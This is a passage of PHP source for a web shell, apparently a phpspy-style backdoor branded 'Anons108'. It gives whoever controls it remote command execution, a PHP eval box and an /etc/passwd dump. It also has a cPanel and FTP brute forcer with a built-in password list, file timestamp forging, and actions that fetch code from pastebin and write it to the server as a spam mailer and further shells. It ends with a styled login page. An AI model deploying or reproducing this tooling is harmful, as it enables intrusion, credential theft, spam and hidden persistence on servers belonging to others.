2190 echo "<iframe src=http://www.md5.cz/ width=100% height=720px frameborder=0></iframe> ";
2191}
2192//crack
2193elseif ($action == 'crack') {
2194echo "<iframe src=https://hashkiller.co.uk/md5-decrypter.aspx/ width=100% height=400px frameborder=0></iframe> ";
2195}
2196//DDOS Bot Shell
2197elseif ($action == 'ddosbot') {
2198
2199 echo "<iframe src=http://www.yrmj.com/admin/upload/img/hoangdz2.php width=100% height=720px frameborder=0></iframe> ";
2200}
2201
2202elseif ($action == 'spam') {
2203 $file = fopen($dir . "fakemail.php", "w+");
2204 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=LjRcNVUa');
2205 $file = fopen("fakemail.php", "w+");
2206 $write = fwrite($file, base64_decode($perltoolss));
2207 fclose($file);
2208 echo "<iframe src='fakemail.php' width='100%' height='500'></iframe>";
2209}
2210
2211
2212//Bugshell
2213elseif ($action == 'bug') {
2214$bug = 'http://pastebin.com/raw.php?i=07hwC5fW';
2215$bugshell = file_get_contents($bug);
2216$bs = fopen('bugshell.php', 'w');
2217fwrite($bs,$bugshell);
2218fclose($mdf);
2219echo "<iframe src='bugshell.php' width='100%' height='500'></iframe>";
2220}
2221
2222//FINDADMIN
2223elseif ($action == 'findadmin') {
2224$find = 'http://pastebin.com/raw.php?i=8UmXBduC';
2225$admin = file_get_contents($find);
2226$dmm = fopen('findadmin.php', 'w');
2227fwrite($dmm,$admin);
2228fclose($dmm);
2229echo "<iframe src='findadmin.php' width='100%' height='500'></iframe>";
2230}
2231
2232// Brute
2233elseif ($action == 'brute') {
2234formhead(array('title'=>'Brute Forcer'));
2235 makehide('action','brute');
2236 makehide('dir',$brute);
2237@ini_set('memory_limit', 1000000000000);
2238$connect_timeout=5;
2239@set_time_limit(0);
2240$submit = $_REQUEST['submit'];
2241$users = $_REQUEST['users'];
2242$pass = $_REQUEST['passwords'];
2243$target = $_REQUEST['target'];
2244$option = $_REQUEST['option'];
2245
2246
2247$passlist = "0123456
224801234567
2249012345678
22500123456789
225101234567890
2252123456
22531234567
225412345678
2255123456789
22561234567890
2257111111
2258000000
2259222222
2260333333
2261444444
2262555555
2263666666
2264777777
2265888888
2266999999
2267123123
2268456456
2269789789
2270123321
2271456654
2272654321
22737654321
227487654321
2275987654321
22760987654321
2277admin
2278administrator
2279admincp
2280cpanel
2281adminx
2282admins
2283password
2284passwords
2285passw0rd
2286p@ssw0rd
2287p@ssword
2288khongco
228925251325
2290passw0rds";
2291if($target == ''){
2292$target = 'localhost';
2293}
2294print " <div align='center'>
2295<form method='post' style='border: 1px solid #000000'><br><br>
2296<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
2297<b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
2298<div align='center'><br>
2299<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
2300<tr>
2301<td align='center'>
2302<b>Username</b></td>
2303<td>
2304<p align='center'>
2305<b>Password</b></td>
2306</tr>
2307</table>
2308<p align='center'>
2309<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
2310$i = 0;
2311while ($i < 60000) {
2312
2313 $line = posix_getpwuid($i);
2314 if (!empty($line)) {
2315
2316 while (list ($key, $vba_etcpwd) = each($line)){
2317 echo "".$vba_etcpwd."\n";
2318 break;
2319 }
2320
2321 }
2322
2323 $i++;
2324}
2325echo "
2326</textarea>
2327<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
2328<br>
2329<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
2330<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
2331</td></tr></table></td></tr></form><p align= 'left'>";
2332?>
2333<?php
2334function ftp_check($host,$user,$pass,$timeout){
2335$ch = curl_init();
2336curl_setopt($ch, CURLOPT_URL, "ftp://$host");
2337curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2338curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
2339curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
2340curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
2341curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
2342curl_setopt($ch, CURLOPT_FAILONERROR, 1);
2343$data = curl_exec($ch);
2344if ( curl_errno($ch) == 28 ) {
2345
2346print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
2347exit;}
2348
2349elseif ( curl_errno($ch) == 0 ){
2350
2351p("<b>[ attack@vbateam.net ]# </b>
2352<b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
2353}
2354curl_close($ch);}
2355
2356function cpanel_check($host,$user,$pass,$timeout){
2357$ch = curl_init();
2358curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
2359curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2360curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
2361curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
2362curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
2363curl_setopt($ch, CURLOPT_FAILONERROR, 1);
2364$data = curl_exec($ch);
2365if ( curl_errno($ch) == 28 ) {
2366print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
2367exit;}
2368elseif ( curl_errno($ch) == 0 ){
2369
2370p("<b>[ attack@vbateam.net ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
2371
2372if(isset($submit) && !empty($submit)){
2373
2374$userlist = explode ("\n" , $users );
2375$passlist = explode ("\n" , $pass );
2376p('<b>[ attack@vbateam.net ]# Attacking ...</font></b><br>');
2377foreach ($userlist as $user) {
2378$_user = trim($user);
2379foreach ($passlist as $password ) {
2380$_pass = trim($password);
2381if($option == "ftp"){
2382ftp_check($target,$_user,$_pass,$connect_timeout);
2383}
2384if ($option == "cpanel")
2385{
2386cpanel_check($target,$_user,$_pass,$connect_timeout);
2387}
2388}
2389}
2390}
2391
2392 formfoot();
2393}
2394
2395
2396
2397
2398
2399
2400elseif ($action == 'etcpwd') {
2401formhead(array('title'=>'Get /etc/passwd'));
2402 makehide('action','etcpwd');
2403 makehide('dir',$nowpath);
2404$i = 0;
2405 echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
2406while ($i < 60000) {
2407
2408 $line = posix_getpwuid($i);
2409 if (!empty($line)) {
2410
2411 while (list ($key, $vba_etcpwd) = each($line)){
2412 echo "".$vba_etcpwd."\n";
2413 break;
2414 }
2415
2416 }
2417
2418 $i++;
2419}
2420 echo "</textarea></p>";
2421 formfoot();
2422}
2423
2424elseif ($action == 'eval') {
2425 $phpcode = trim($phpcode);
2426 if($phpcode){
2427 if (!preg_match('#<\?#si', $phpcode)) {
2428 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
2429 }
2430 eval("?".">$phpcode<?");
2431 }
2432 formhead(array('title'=>'Eval PHP Code'));
2433 makehide('action','eval');
2434 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
2435 p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
2436 formfooter();
2437}//end eval
2438
2439elseif ($action == 'editfile') {
2440 if(file_exists($opfile)) {
2441 $fp=@fopen($opfile,'r');
2442 $contents=@fread($fp, filesize($opfile));
2443 @fclose($fp);
2444 $contents=htmlspecialchars($contents);
2445 }
2446 formhead(array('title'=>'Create / Edit File'));
2447 makehide('action','file');
2448 makehide('dir',$nowpath);
2449 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
2450 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
2451 formfooter();
2452}//end editfile
2453
2454elseif ($action == 'newtime') {
2455 $opfilemtime = @filemtime($opfile);
2456 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
2457 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
2458 formhead(array('title'=>'Clone file was last modified time'));
2459 makehide('action','file');
2460 makehide('dir',$nowpath);
2461 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
2462 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
2463 formfooter();
2464 formhead(array('title'=>'Set last modified'));
2465 makehide('action','file');
2466 makehide('dir',$nowpath);
2467 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
2468 p('<p>Instead »');
2469 p('year:');
2470 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
2471 p('month:');
2472 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
2473 p('day:');
2474 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
2475 p('hour:');
2476 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
2477 p('minute:');
2478 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
2479 p('second:');
2480 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
2481 p('</p>');
2482 formfooter();
2483}//end newtime
2484
2485elseif ($action == 'shell') {
2486 if (IS_WIN && IS_COM) {
2487 if($program && $parameter) {
2488 $shell= new COM('Shell.Application');
2489 $a = $shell->ShellExecute($program,$parameter);
2490 m('Program run has '.(!$a ? 'success' : 'fail'));
2491 }
2492 !$program && $program = 'c:\windows\system32\cmd.exe';
2493 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
2494 formhead(array('title'=>'Execute Program'));
2495 makehide('action','shell');
2496 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
2497 p('<p>');
2498 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
2499 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
2500 p('</p>');
2501 formfoot();
2502 }
2503 formhead(array('title'=>'Execute Command'));
2504 makehide('action','shell');
2505 if (IS_WIN && IS_COM) {
2506 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
2507 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
2508 }
2509 p('<p>');
2510 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
2511 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
2512 p('</p>');
2513 formfoot();
2514
2515 if ($command) {
2516 p('<hr width="100%" noshade /><pre>');
2517 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
2518 $wsh = new COM('WScript.shell');
2519 $exec = $wsh->exec('cmd.exe /c '.$command);
2520 $stdout = $exec->StdOut();
2521 $stroutput = $stdout->ReadAll();
2522 echo $stroutput;
2523 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
2524 $descriptorspec = array(
2525 0 => array('pipe', 'r'),
2526 1 => array('pipe', 'w'),
2527 2 => array('pipe', 'w')
2528 );
2529 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
2530 if (is_resource($process)) {
2531 fwrite($pipes[0], $command."\r\n");
2532 fwrite($pipes[0], "exit\r\n");
2533 fclose($pipes[0]);
2534 while (!feof($pipes[1])) {
2535 echo fgets($pipes[1], 1024);
2536 }
2537 fclose($pipes[1]);
2538 while (!feof($pipes[2])) {
2539 echo fgets($pipes[2], 1024);
2540 }
2541 fclose($pipes[2]);
2542 proc_close($process);
2543 }
2544 } else {
2545 echo(execute($command));
2546 }
2547 p('</pre>');
2548 }
2549}//end shell
2550
2551elseif ($action == 'phpenv') {
2552 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
2553 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
2554 !$dis_func && $dis_func = 'No';
2555 $info = array(
2556 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
2557 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
2558 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
2559 4 => array('Server OS',PHP_OS),
2560 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
2561 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
2562 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
2563 8 => array('PHP run mode',strtoupper(php_sapi_name())),
2564 9 => array('The file path',__FILE__),
2565
2566 10 => array('PHP Version',PHP_VERSION),
2567 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
2568 12 => array('Safe Mode',getcfg('safe_mode')),
2569 13 => array('Administrator',$adminmail),
2570 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
2571 15 => array('enable_dl',getcfg('enable_dl')),
2572 16 => array('display_errors',getcfg('display_errors')),
2573 17 => array('register_globals',getcfg('register_globals')),
2574 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
2575 19 => array('memory_limit',getcfg('memory_limit')),
2576 20 => array('post_max_size',getcfg('post_max_size')),
2577 21 => array('upload_max_filesize',$upsize),
2578 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
2579 23 => array('disable_functions',$dis_func),
2580 );
2581
2582 if($phpvarname) {
2583 m($phpvarname .' : '.getcfg($phpvarname));
2584 }
2585
2586 formhead(array('title'=>'Server environment'));
2587 makehide('action','phpenv');
2588 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
2589 formfooter();
2590
2591 $hp = array(0=> 'Server', 1=> 'PHP');
2592 for($a=0;$a<2;$a++) {
2593 p('<h2>'.$hp[$a].' »</h2>');
2594 p('<ul class="info">');
2595 if ($a==0) {
2596 for($i=1;$i<=9;$i++) {
2597 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
2598 }
2599 } elseif ($a == 1) {
2600 for($i=10;$i<=23;$i++) {
2601 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
2602 }
2603 }
2604 p('</ul>');
2605 }
2606}//end phpenv
2607
2608else {
2609 m('Undefined Action');
2610}
2611
2612?>
2613</td></tr></table>
2614
2615<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
2616 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
2617 Copyright (C) 2015 <B></B> - Develop by <a href=https://www.facebook.com/Anons108 target=_blank><B>Anons108 </B></a> - <B>All Rights Reserved.</B>
2618</div>
2619</body>
2620</html>
2621
2622<?php
2623
2624/*======================================================
2625Show info shell
2626======================================================*/
2627
2628function m($msg) {
2629 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
2630 echo $msg;
2631 echo '</div>';
2632}
2633function scookie($key, $value, $life = 0, $prefix = 1) {
2634 global $admin, $timestamp, $_SERVER;
2635 $key = ($prefix ? $admin['cookiepre'] : '').$key;
2636 $life = $life ? $life : $admin['cookielife'];
2637 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
2638 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
2639}
2640function multi($num, $perpage, $curpage, $tablename) {
2641 $multipage = '';
2642 if($num > $perpage) {
2643 $page = 10;
2644 $offset = 5;
2645 $pages = @ceil($num / $perpage);
2646 if($page > $pages) {
2647 $from = 1;
2648 $to = $pages;
2649 } else {
2650 $from = $curpage - $offset;
2651 $to = $curpage + $page - $offset - 1;
2652 if($from < 1) {
2653 $to = $curpage + 1 - $from;
2654 $from = 1;
2655 if(($to - $from) < $page && ($to - $from) < $pages) {
2656 $to = $page;
2657 }
2658 } elseif($to > $pages) {
2659 $from = $curpage - $pages + $to;
2660 $to = $pages;
2661 if(($to - $from) < $page && ($to - $from) < $pages) {
2662 $from = $pages - $page + 1;
2663 }
2664 }
2665 }
2666 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
2667 for($i = $from; $i <= $to; $i++) {
2668 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
2669 }
2670 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
2671 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
2672 }
2673 return $multipage;
2674}
2675// Login page
2676
2677function loginpage() {
2678
2679?>
2680
2681<html>
2682
2683<head>
2684
2685
2686
2687
2688
2689
2690
2691 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
2692<div class="clock">
2693<div id="Date"></div>
2694 <ul>
2695 <li id="hours"></li>
2696 <li id="point">:</li>
2697 <li id="min"></li>
2698 <li id="point">:</li>
2699 <li id="sec"></li>
2700 </ul>
2701<body bgcolor=black background=http://i.imgur.com/GY0AXd9.jpg >
2702</div>
2703 <style type="text/css">
2704 @font-face {
2705 font-family: 'BebasNeueRegular';
2706 src: url('BebasNeue-webfont.eot');
2707 src: url('BebasNeue-webfont.eot?#iefix') format('embedded-opentype'),
2708 url('BebasNeue-webfont.woff') format('woff'),
2709 url('BebasNeue-webfont.ttf') format('truetype'),
2710 url('BebasNeue-webfont.svg#BebasNeueRegular') format('svg');
2711 font-weight: normal;
2712 font-style: normal;
2713}
2714.clock {
2715 width: 800px;
2716 margin: 0 auto;
2717 padding: 30px;
2718 border: 1px solid #333;
2719 color: #black;
2720}
2721
2722#Date {
2723 font-family: 'BebasNeueRegular', Arial, Helvetica, sans-serif;
2724 font-size: 36px;
2725 text-align: center;
2726 text-shadow: 0 0 5px #00c6ff;
2727}
2728
2729ul {
2730 width: 800px;
2731 margin: 0 auto;
2732 padding: 0px;
2733 list-style: none;
2734 text-align: center;
2735}
2736
2737ul li {
2738 display: inline;
2739 font-size: 10em;
2740 text-align: center;
2741 font-family: 'BebasNeueRegular', Arial, Helvetica, sans-serif;
2742 text-shadow: 0 0 5px #00c6ff;
2743}
2744
2745#point {
2746 position: relative;
2747 -moz-animation: mymove 1s ease infinite;
2748 -webkit-animation: mymove 1s ease infinite;
2749 padding-left: 10px;
2750 padding-right: 10px;
2751}
2752@-webkit-keyframes mymove {
2753 0% {opacity: 1.0;
2754 text-shadow: 0 0 20px #00c6ff;
2755}
2756
275750% {
2758 opacity: 0;
2759 text-shadow: none;
2760}
2761
2762100% {
2763 opacity: 1.0;
2764 text-shadow: 0 0 20px #00c6ff;
2765}
2766}
2767
2768@-moz-keyframes mymove {
2769 0% {
2770 opacity: 1.0;
2771 text-shadow: 0 0 20px #00c6ff;
2772 }
2773
2774 50% {
2775 opacity: 0;
2776 text-shadow: none;
2777 }
2778
2779 100% {
2780 opacity: 1.0;
2781 text-shadow: 0 0 20px #00c6ff;
2782 };
2783}
2784</style>
2785<script type="text/javascript" src="http://code.jquery.com/jquery-1.6.4.min.js"></script>
2786<script type="text/javascript">
2787$(document).ready(function() {
2788// Tao 2 mang chua ten ngay thang
2789var monthNames = [ "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" ];
2790var dayNames= ["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"]
2791
2792// Tao moi doi tuong Date()
2793var newDate = new Date();
2794// Lay gia tri thoi gian hien tai
2795newDate.setDate(newDate.getDate());
2796// Xuat ngay thang, nam
2797$('#Date').html(dayNames[newDate.getDay()] + " " + newDate.getDate() + ' ' + monthNames[newDate.getMonth()] + ' ' + newDate.getFullYear());
2798
2799setInterval( function() {
2800 // lay gia tri giay trong doi tuong Date()
2801 var seconds = new Date().getSeconds();
2802 // Chen so 0 vao dang truoc gia tri giay
2803 $("#sec").html(( seconds < 10 ? "0" : "" ) + seconds);
2804 },1000);
2805
2806setInterval( function() {
2807 // Tuong tu lay gia tri phut
2808 var minutes = new Date().getMinutes();
2809 // Chen so 0 vao dang truoc gia tri phut neu gia tri hien tai nho hon 10
2810 $("#min").html(( minutes < 10 ? "0" : "" ) + minutes);
2811 },1000);
2812
2813setInterval( function() {
2814 // Lay gia tri gio hien tai
2815 var hours = new Date().getHours();
2816 // Chen so 0 vao truoc gia tri gio neu gia tri nho hon 10
2817 $("#hours").html(( hours < 10 ? "0" : "" ) + hours);
2818 }, 1000);
2819});
2820</script>
2821<div align="center">
2822 <div>
2823 <form method="POST" action="" class="form-3">
2824 <p class="clearfix">
2825 <label for="login">Username</label>
2826 <input type="text" placeholder="Username">
2827 </p>
2828 <p class="clearfix">
2829 <label for="password">Password</label>
2830 <input type="password" name="password" id="password" placeholder="Password">
2831 <input type="hidden" name="doing" value="login">
2832 <input type="submit" name="submit" value="Anons108">
2833 </p>
2834 </form>
2835 <br>
2836 </font></div>
2837
2838 </font></div>
2839 <style>
2840 /* GLOBALS */
2841
2842*,
2843*:after,
2844*:before {
2845 -webkit-box-sizing: border-box;
2846 -moz-box-sizing: border-box;
2847 -ms-box-sizing: border-box;
2848 -o-box-sizing: border-box;
2849 box-sizing: border-box;
2850 padding: 0;
2851 margin: 0;
2852}
2853
2854.clearfix:after {
2855 content: "";
2856 display: table;
2857 clear: both;
2858}
2859
2860.form-3 {
2861 font-family: 'Ubuntu', 'Lato', sans-serif;
2862 font-weight: 400;
2863 /* Size and position */
2864 width: 300px;
2865 position: relative;
2866 margin: 60px auto 30px;
2867 padding: 10px;
2868 overflow: hidden;
2869
2870 /* Styles */
2871 background: #white;
2872 border-radius: 0.4em;
2873 border: 1px solid #191919;
2874 box-shadow:
2875 inset 0 0 2px 1px rgba(255,255,255,0.08),
2876 0 16px 10px -8px rgba(0, 0, 0, 0.6);
2877}
2878
2879.form-3 label {
2880 /* Size and position */
2881 width: 50%;
2882 float: left;
2883 padding-top: 9px;
2884
2885 /* Styles */
2886 color: #ddd;
2887 font-size: 12px;
2888 text-transform: uppercase;
2889 letter-spacing: 1px;
2890 text-shadow: 0 1px 0 #000;
2891 text-indent: 10px;
2892 font-weight: 700;
2893 cursor: pointer;
2894}
2895
2896.form-3 input[type=text],
2897.form-3 input[type=password] {
2898 /* Size and position */
2899 width: 50%;
2900 float: left;
2901 padding: 8px 5px;
2902 margin-bottom: 10px;
2903 font-size: 12px;
2904
2905 /* Styles */
2906 background: linear-gradient(#1f2124, #27292c);
2907 border: 1px solid #000;
2908 box-shadow:
2909 0 1px 0 rgba(255,255,255,0.1);
2910 border-radius: 3px;
2911
2912 /* Font styles */
2913 font-family: 'Ubuntu', 'Lato', sans-serif;
2914 color: #white;
2915
2916}
2917
2918.form-3 input[type=text]:hover,
2919.form-3 input[type=password]:hover,
2920.form-3 label:hover ~ input[type=text],
2921.form-3 label:hover ~ input[type=password] {
2922 background: #white;
2923}
2924
2925.form-3 input[type=text]:focus,
2926.form-3 input[type=password]:focus {
2927 box-shadow: inset 0 0 2px #000;
2928 background: #white;
2929 border-color: #51cbee;
2930 outline: none; /* Remove Chrome outline */
2931}
2932
2933.form-3 p:nth-child(3),
2934.form-3 p:nth-child(4) {
2935 float: left;
2936 width: 50%;
2937}
2938
2939.form-3 label[for=remember] {
2940 width: auto;
2941 float: none;
2942 display: inline-block;
2943 text-transform: capitalize;
2944 font-size: 11px;
2945 font-weight: 400;
2946 letter-spacing: 0px;
2947 text-indent: 2px;
2948}
2949
2950.form-3 input[type=checkbox] {
2951 margin-left: 10px;
2952 vertical-align: middle;
2953}
2954
2955.form-3 input[type=submit] {
2956 /* Width and position */
2957 width: 100%;
2958 padding: 8px 5px;
2959
2960 /* Styles */
2961 border: 1px solid #0273dd; /* Fallback */
2962 border: 1px solid rgba(0,0,0,0.4);
2963 box-shadow:
2964 inset 0 1px 0 rgba(255,255,255,0.3),
2965 inset 0 10px 10px rgba(255,255,255,0.1);
2966 border-radius: 3px;
2967 background: #38a6f0;
2968 cursor:pointer;
2969
2970 /* Font styles */
2971 font-family: 'Ubuntu', 'Lato', sans-serif;
2972 color: white;
2973 font-weight: 700;
2974 font-size: 15px;
2975 text-shadow: 0 -1px 0 rgba(0,0,0,0.8);
2976}
2977
2978.form-3 input[type=submit]:hover {
2979 box-shadow: inset 0 1px 0 rgba(255,255,255,0.6);
2980}
2981
2982}
2983
2984/* Small flash */
2985.form-3:before {
2986 /* Size and position */
2987 content: "";
2988 width: 8px;
2989 height: 5px;
2990 position: absolute;
2991 left: 34%;
2992 top: -7px;
2993
2994 /* Styles */
2995 border-radius: 50%;
2996 box-shadow: 0 0 6px 4px #fff;
2997}
2998
2999.form-3 p:nth-child(1):before{
3000 /* Size and position */
3001 content: "";
3002 width: 250px;
3003 height: 100px;
3004 position: absolute;
3005 top: 0;
3006 left: 45px;
3007
3008 /* Styles */
3009 transform: rotate(75deg);
3010 background: linear-gradient(50deg, rgba(255,255,255,0.15), rgba(0,0,0,0));
3011 pointer-events: none;
3012}
3013
3014.no-pointerevents .form-3 p:nth-child(1):before {
3015 display: none;
3016}
3017</style>
3018<aside class="container">
3019 <input type="checkbox" id="menu__trigger">
3020 <section class="menu">
3021 <!--<label for="menu__trigger" class="entypo-cancel"></label>-->
3022 <nav>
3023 <a href="https://www.facebook.com/profile.php?id=100011074965700">1. Facebook</a>
3024 <a href="https://www.facebook.com/profile.php?id=100011074965700">2. Clone</a>
3025 <a href="http://google.com">3. Website</a>
3026 <a href="https://www.youtube.com/channel/UCiQ9ZT6xuvtRQDKfzHRrehQ">4. Youtube</a>
3027 <a href="https://google.com">5. Google</a>
3028 <a href="/">6. Trang chủ</a>
3029 </nav>
3030 </section>
3031
3032 <section class="content">
3033 <label for="menu__trigger" class="entypo-menu"></label>
3034 </section>
3035</aside>
3036<style>
3037[class*="entypo-"]:before {
3038 font-family: 'entypo', sans-serif;
3039}
3040[class*="entypo-"]:before {
3041 font-family: 'entypo', sans-serif;
3042}
3043
3044html {
3045 min-height: 100%;
3046 min-width: 100%;
3047}
3048html body {
3049 min-height: 100%;
3050 min-width: 100%;
3051 font-family: 'Lato', sans-serif;
3052}
3053
3054html body input[type="checkbox"] {
3055 position: absolute;
3056 height: 0;
3057 width: 0;
3058 display: none;
3059}
3060html body input[type="checkbox"]:checked ~ .menu nav a {
3061 -webkit-transform: translate3d(0px, 0, 0) rotateY(0deg);
3062 transform: translate3d(0px, 0, 0) rotateY(0deg);
3063 -webkite-transform-style: preserve-3d;
3064 transform-style: preserve-3d;
3065 -webkit-transition: all .4s ease-in-out;
3066 transition: all .4s ease-in-out;
3067 background: #252525;
3068 color: #fff;
3069}
3070html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(2) {
3071 -webkit-transition-delay: .1s;
3072 transition-delay: .1s;
3073}
3074html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(3) {
3075 -webkit-transition-delay: .2s;
3076 transition-delay: .2s;
3077}
3078html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(4) {
3079 -webkit-transition-delay: .3s;
3080 transition-delay: 0.3s;
3081}
3082html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(5) {
3083 -webkit-transition-delay: .4s;
3084 transition-delay: .4s;
3085}
3086html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(6) {
3087 -webkit-transition-delay: .5s;
3088 transition-delay: 0.5s;
3089}
3090html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(7) {
3091 -webkit-transition-delay: .6s;
3092 transition-delay: 0.6s;
3093}
3094html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(8) {
3095 -webkit-transition-delay: .7s;
3096 transition-delay: 0.7s;
3097}
3098html body section.menu {
3099 position: fixed;
3100 z-index: 10;
3101 top: 0;
3102 bottom: 0;
3103 min-height: 100%;
3104}
3105html body section.menu nav {
3106 padding-top: 4rem;
3107 -webkit-perspective: 20rem;
3108 perspective: 20rem;
3109}
3110html body section.menu nav a {
3111 display: block;
3112 width: 12rem;
3113 padding: 1.25rem 0rem 1.25rem 1.75rem;
3114 background: #222;
3115 border-bottom: 1px solid #2a2a2a;
3116 box-shadow: 2px 2px 2px rgba(0, 0, 0, 0.15), inset 2px 0 0 #fff;
3117 color: #fff;
3118 letter-spacing: 1.5px;
3119 font-weight: 300;
3120 font-size: 1.25rem;
3121 text-decoration: none;
3122 -webkit-transform: translate3d(-100%, 0, 0) rotateY(90deg);
3123 transform: translate3d(-100%, 0, 0) rotateY(90deg);
3124 -webkit-transform-origin: 0% 50%;
3125 transform-origin: 0% 50%;
3126 -webkit-transform-style: preserve-3d;
3127 transform-style: preserve-3d;
3128 -webkit-transition: all .25s ease-in-out;
